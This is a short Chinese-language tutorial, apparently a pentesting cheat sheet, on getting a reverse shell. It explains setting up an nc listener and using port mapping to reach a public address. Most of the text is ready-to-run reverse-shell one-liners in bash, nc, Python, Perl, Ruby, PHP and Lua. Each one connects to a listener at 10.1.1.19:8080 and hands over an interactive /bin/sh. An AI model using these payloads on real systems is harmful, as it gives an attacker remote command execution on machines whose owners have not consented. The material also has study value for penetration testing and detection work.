在反弹的开始,我们需要使用nc在本地或者任意要反弹到的地方监听一个端口。最简单的做法是nc -l -p 8080
,8080
为要反弹的端口
0x01—使用bash
bash -i >& /dev/[tcp|udp]/10.1.1.19/8080 0>&1
注:该命令使用的是系统原生bash,[tcp|udp]
是要使用的协议,一般选择tcp就行,10.1.1.19
是你要反弹到的地址,如果要反弹到你的电脑上就需要使用一些端口映射工具如ngork,花生壳
之类的将本地ip映射成公网ip。
反弹如果成功的话,系统就会进入等待的状态,而我们的nc监听界面也会显示shell界面,如下所示:
0x02—使用nc
nc -e /bin/sh 10.1.1.19 8080
命令不用解释,执行成功后显示如下:
可以看到nc反弹出来的没有任何标识~但是直接输入命令就可以了。
0x03—python
输入以下内容:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.19",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
结果如下:
注:其他方法和以上几种基本类似,不附图了
0x04—perl
perl -e 'use Socket;$i="10.1.1.19";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
0x05—ruby
ruby -rsocket -e'f=TCPSocket.open("10.1.1.19",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
0x06—php
我想说:php是世界上最好的语言~~ 手动滑稽~~
php -r '$sock=fsockopen("10.1.1.19",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
0x07—lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.1.1.19','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"